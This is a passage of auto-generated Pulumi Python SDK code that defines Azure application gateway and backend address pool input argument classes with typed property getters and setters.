@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def protocol(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]]:
"""
Gets or sets the protocol
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the http listener resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="requireServerNameIndication")
def require_server_name_indication(self) -> Optional[pulumi.Input[bool]]:
"""
Gets or sets the requireServerNameIndication of http listener
"""
return pulumi.get(self, "require_server_name_indication")
@require_server_name_indication.setter
def require_server_name_indication(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "require_server_name_indication", value)
@property
@pulumi.getter(name="sslCertificate")
def ssl_certificate(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets ssl certificate resource of application gateway
"""
return pulumi.get(self, "ssl_certificate")
@ssl_certificate.setter
def ssl_certificate(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "ssl_certificate", value)
@pulumi.input_type
class ApplicationGatewayIPConfigurationArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
subnet: Optional[pulumi.Input['SubResourceArgs']] = None):
"""
IP configuration of application gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the application gateway subnet resource Updating/Deleting/Failed
:param pulumi.Input['SubResourceArgs'] subnet: Gets or sets the reference of the subnet resource.A subnet from where application gateway gets its private address
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if subnet is not None:
pulumi.set(__self__, "subnet", subnet)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the application gateway subnet resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter
def subnet(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the subnet resource.A subnet from where application gateway gets its private address
"""
return pulumi.get(self, "subnet")
@subnet.setter
def subnet(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "subnet", value)
@pulumi.input_type
class ApplicationGatewayPathRuleArgs:
def __init__(__self__, *,
backend_address_pool: Optional[pulumi.Input['SubResourceArgs']] = None,
backend_http_settings: Optional[pulumi.Input['SubResourceArgs']] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
paths: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Path rule of URL path map of application gateway
:param pulumi.Input['SubResourceArgs'] backend_address_pool: Gets or sets backend address pool resource of URL path map
:param pulumi.Input['SubResourceArgs'] backend_http_settings: Gets or sets backend http settings resource of URL path map
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[Sequence[pulumi.Input[str]]] paths: Gets or sets the path rules of URL path map
:param pulumi.Input[str] provisioning_state: Gets or sets path rule of URL path map resource Updating/Deleting/Failed
"""
if backend_address_pool is not None:
pulumi.set(__self__, "backend_address_pool", backend_address_pool)
if backend_http_settings is not None:
pulumi.set(__self__, "backend_http_settings", backend_http_settings)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if paths is not None:
pulumi.set(__self__, "paths", paths)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="backendAddressPool")
def backend_address_pool(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets backend address pool resource of URL path map
"""
return pulumi.get(self, "backend_address_pool")
@backend_address_pool.setter
def backend_address_pool(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "backend_address_pool", value)
@property
@pulumi.getter(name="backendHttpSettings")
def backend_http_settings(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets backend http settings resource of URL path map
"""
return pulumi.get(self, "backend_http_settings")
@backend_http_settings.setter
def backend_http_settings(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "backend_http_settings", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def paths(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Gets or sets the path rules of URL path map
"""
return pulumi.get(self, "paths")
@paths.setter
def paths(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "paths", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets path rule of URL path map resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class ApplicationGatewayProbeArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
host: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
interval: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
path: Optional[pulumi.Input[str]] = None,
protocol: Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
timeout: Optional[pulumi.Input[int]] = None,
unhealthy_threshold: Optional[pulumi.Input[int]] = None):
"""
Probe of application gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] host: Gets or sets the host to send probe to
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[int] interval: Gets or sets probing interval in seconds
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] path: Gets or sets the relative path of probe
:param pulumi.Input[Union[str, 'ApplicationGatewayProtocol']] protocol: Gets or sets the protocol
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the backend http settings resource Updating/Deleting/Failed
:param pulumi.Input[int] timeout: Gets or sets probing timeout in seconds
:param pulumi.Input[int] unhealthy_threshold: Gets or sets probing unhealthy threshold
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if host is not None:
pulumi.set(__self__, "host", host)
if id is not None:
pulumi.set(__self__, "id", id)
if interval is not None:
pulumi.set(__self__, "interval", interval)
if name is not None:
pulumi.set(__self__, "name", name)
if path is not None:
pulumi.set(__self__, "path", path)
if protocol is not None:
pulumi.set(__self__, "protocol", protocol)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if timeout is not None:
pulumi.set(__self__, "timeout", timeout)
if unhealthy_threshold is not None:
pulumi.set(__self__, "unhealthy_threshold", unhealthy_threshold)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def host(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the host to send probe to
"""
return pulumi.get(self, "host")
@host.setter
def host(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def interval(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets probing interval in seconds
"""
return pulumi.get(self, "interval")
@interval.setter
def interval(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "interval", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def path(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the relative path of probe
"""
return pulumi.get(self, "path")
@path.setter
def path(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "path", value)
@property
@pulumi.getter
def protocol(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]]:
"""
Gets or sets the protocol
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the backend http settings resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter
def timeout(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets probing timeout in seconds
"""
return pulumi.get(self, "timeout")
@timeout.setter
def timeout(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "timeout", value)
@property
@pulumi.getter(name="unhealthyThreshold")
def unhealthy_threshold(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets probing unhealthy threshold
"""
return pulumi.get(self, "unhealthy_threshold")
@unhealthy_threshold.setter
def unhealthy_threshold(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "unhealthy_threshold", value)
@pulumi.input_type
class ApplicationGatewayRequestRoutingRuleArgs:
def __init__(__self__, *,
backend_address_pool: Optional[pulumi.Input['SubResourceArgs']] = None,
backend_http_settings: Optional[pulumi.Input['SubResourceArgs']] = None,
etag: Optional[pulumi.Input[str]] = None,
http_listener: Optional[pulumi.Input['SubResourceArgs']] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
rule_type: Optional[pulumi.Input[Union[str, 'ApplicationGatewayRequestRoutingRuleType']]] = None,
url_path_map: Optional[pulumi.Input['SubResourceArgs']] = None):
"""
Request routing rule of application gateway
:param pulumi.Input['SubResourceArgs'] backend_address_pool: Gets or sets backend address pool resource of application gateway
:param pulumi.Input['SubResourceArgs'] backend_http_settings: Gets or sets frontend port resource of application gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input['SubResourceArgs'] http_listener: Gets or sets http listener resource of application gateway
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the request routing rule resource Updating/Deleting/Failed
:param pulumi.Input[Union[str, 'ApplicationGatewayRequestRoutingRuleType']] rule_type: Gets or sets the rule type
:param pulumi.Input['SubResourceArgs'] url_path_map: Gets or sets url path map resource of application gateway
"""
if backend_address_pool is not None:
pulumi.set(__self__, "backend_address_pool", backend_address_pool)
if backend_http_settings is not None:
pulumi.set(__self__, "backend_http_settings", backend_http_settings)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if http_listener is not None:
pulumi.set(__self__, "http_listener", http_listener)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if rule_type is not None:
pulumi.set(__self__, "rule_type", rule_type)
if url_path_map is not None:
pulumi.set(__self__, "url_path_map", url_path_map)
@property
@pulumi.getter(name="backendAddressPool")
def backend_address_pool(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets backend address pool resource of application gateway
"""
return pulumi.get(self, "backend_address_pool")
@backend_address_pool.setter
def backend_address_pool(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "backend_address_pool", value)
@property
@pulumi.getter(name="backendHttpSettings")
def backend_http_settings(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets frontend port resource of application gateway
"""
return pulumi.get(self, "backend_http_settings")
@backend_http_settings.setter
def backend_http_settings(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "backend_http_settings", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="httpListener")
def http_listener(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets http listener resource of application gateway
"""
return pulumi.get(self, "http_listener")
@http_listener.setter
def http_listener(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "http_listener", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the request routing rule resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="ruleType")
def rule_type(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewayRequestRoutingRuleType']]]:
"""
Gets or sets the rule type
"""
return pulumi.get(self, "rule_type")
@rule_type.setter
def rule_type(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewayRequestRoutingRuleType']]]):
pulumi.set(self, "rule_type", value)
@property
@pulumi.getter(name="urlPathMap")
def url_path_map(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets url path map resource of application gateway
"""
return pulumi.get(self, "url_path_map")
@url_path_map.setter
def url_path_map(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "url_path_map", value)
@pulumi.input_type
class ApplicationGatewaySkuArgs:
def __init__(__self__, *,
capacity: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[Union[str, 'ApplicationGatewaySkuName']]] = None,
tier: Optional[pulumi.Input[Union[str, 'ApplicationGatewayTier']]] = None):
"""
SKU of application gateway
:param pulumi.Input[int] capacity: Gets or sets capacity (instance count) of application gateway
:param pulumi.Input[Union[str, 'ApplicationGatewaySkuName']] name: Gets or sets name of application gateway SKU
:param pulumi.Input[Union[str, 'ApplicationGatewayTier']] tier: Gets or sets tier of application gateway
"""
if capacity is not None:
pulumi.set(__self__, "capacity", capacity)
if name is not None:
pulumi.set(__self__, "name", name)
if tier is not None:
pulumi.set(__self__, "tier", tier)
@property
@pulumi.getter
def capacity(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets capacity (instance count) of application gateway
"""
return pulumi.get(self, "capacity")
@capacity.setter
def capacity(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "capacity", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewaySkuName']]]:
"""
Gets or sets name of application gateway SKU
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewaySkuName']]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def tier(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewayTier']]]:
"""
Gets or sets tier of application gateway
"""
return pulumi.get(self, "tier")
@tier.setter
def tier(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewayTier']]]):
pulumi.set(self, "tier", value)
@pulumi.input_type
class ApplicationGatewaySslCertificateArgs:
def __init__(__self__, *,
data: Optional[pulumi.Input[str]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_cert_data: Optional[pulumi.Input[str]] = None):
"""
SSL certificates of application gateway
:param pulumi.Input[str] data: Gets or sets the certificate data
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] password: Gets or sets the certificate password
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the ssl certificate resource Updating/Deleting/Failed
:param pulumi.Input[str] public_cert_data: Gets or sets the certificate public data
"""
if data is not None:
pulumi.set(__self__, "data", data)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if password is not None:
pulumi.set(__self__, "password", password)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_cert_data is not None:
pulumi.set(__self__, "public_cert_data", public_cert_data)
@property
@pulumi.getter
def data(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the certificate data
"""
return pulumi.get(self, "data")
@data.setter
def data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "data", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the certificate password
"""
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the ssl certificate resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicCertData")
def public_cert_data(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the certificate public data
"""
return pulumi.get(self, "public_cert_data")
@public_cert_data.setter
def public_cert_data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "public_cert_data", value)
@pulumi.input_type
class ApplicationGatewayUrlPathMapArgs:
def __init__(__self__, *,
default_backend_address_pool: Optional[pulumi.Input['SubResourceArgs']] = None,
default_backend_http_settings: Optional[pulumi.Input['SubResourceArgs']] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
path_rules: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayPathRuleArgs']]]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
UrlPathMap of application gateway
:param pulumi.Input['SubResourceArgs'] default_backend_address_pool: Gets or sets default backend address pool resource of URL path map
:param pulumi.Input['SubResourceArgs'] default_backend_http_settings: Gets or sets default backend http settings resource of URL path map
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayPathRuleArgs']]] path_rules: Gets or sets path rule of URL path map resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the backend http settings resource Updating/Deleting/Failed
"""
if default_backend_address_pool is not None:
pulumi.set(__self__, "default_backend_address_pool", default_backend_address_pool)
if default_backend_http_settings is not None:
pulumi.set(__self__, "default_backend_http_settings", default_backend_http_settings)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if path_rules is not None:
pulumi.set(__self__, "path_rules", path_rules)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="defaultBackendAddressPool")
def default_backend_address_pool(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets default backend address pool resource of URL path map
"""
return pulumi.get(self, "default_backend_address_pool")
@default_backend_address_pool.setter
def default_backend_address_pool(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "default_backend_address_pool", value)
@property
@pulumi.getter(name="defaultBackendHttpSettings")
def default_backend_http_settings(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets default backend http settings resource of URL path map
"""
return pulumi.get(self, "default_backend_http_settings")
@default_backend_http_settings.setter
def default_backend_http_settings(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "default_backend_http_settings", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="pathRules")
def path_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayPathRuleArgs']]]]:
"""
Gets or sets path rule of URL path map resource
"""
return pulumi.get(self, "path_rules")
@path_rules.setter
def path_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayPathRuleArgs']]]]):
pulumi.set(self, "path_rules", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the backend http settings resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class BackendAddressPoolArgs:
def __init__(__self__, *,
backend_ip_configurations: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
load_balancing_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
outbound_nat_rule: Optional[pulumi.Input['SubResourceArgs']] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Pool of backend IP addresses
:param pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]] backend_ip_configurations: Gets collection of references to IPs defined in NICs
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] load_balancing_rules: Gets Load Balancing rules that use this Backend Address Pool
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input['SubResourceArgs'] outbound_nat_rule: Gets outbound rules that use this Backend Address Pool
:param pulumi.Input[str] provisioning_state: Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
if backend_ip_configurations is not None:
pulumi.set(__self__, "backend_ip_configurations", backend_ip_configurations)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if load_balancing_rules is not None:
pulumi.set(__self__, "load_balancing_rules", load_balancing_rules)
if name is not None:
pulumi.set(__self__, "name", name)
if outbound_nat_rule is not None:
pulumi.set(__self__, "outbound_nat_rule", outbound_nat_rule)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="backendIPConfigurations")
def backend_ip_configurations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]]:
"""
Gets collection of references to IPs defined in NICs
"""
return pulumi.get(self, "backend_ip_configurations")
@backend_ip_configurations.setter
def backend_ip_configurations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]]):
pulumi.set(self, "backend_ip_configurations", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="loadBalancingRules")
def load_balancing_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Gets Load Balancing rules that use this Backend Address Pool
"""
return pulumi.get(self, "load_balancing_rules")
@load_balancing_rules.setter
def load_balancing_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "load_balancing_rules", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="outboundNatRule")
def outbound_nat_rule(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets outbound rules that use this Backend Address Pool
"""
return pulumi.get(self, "outbound_nat_rule")
@outbound_nat_rule.setter
def outbound_nat_rule(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "outbound_nat_rule", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class BgpSettingsArgs:
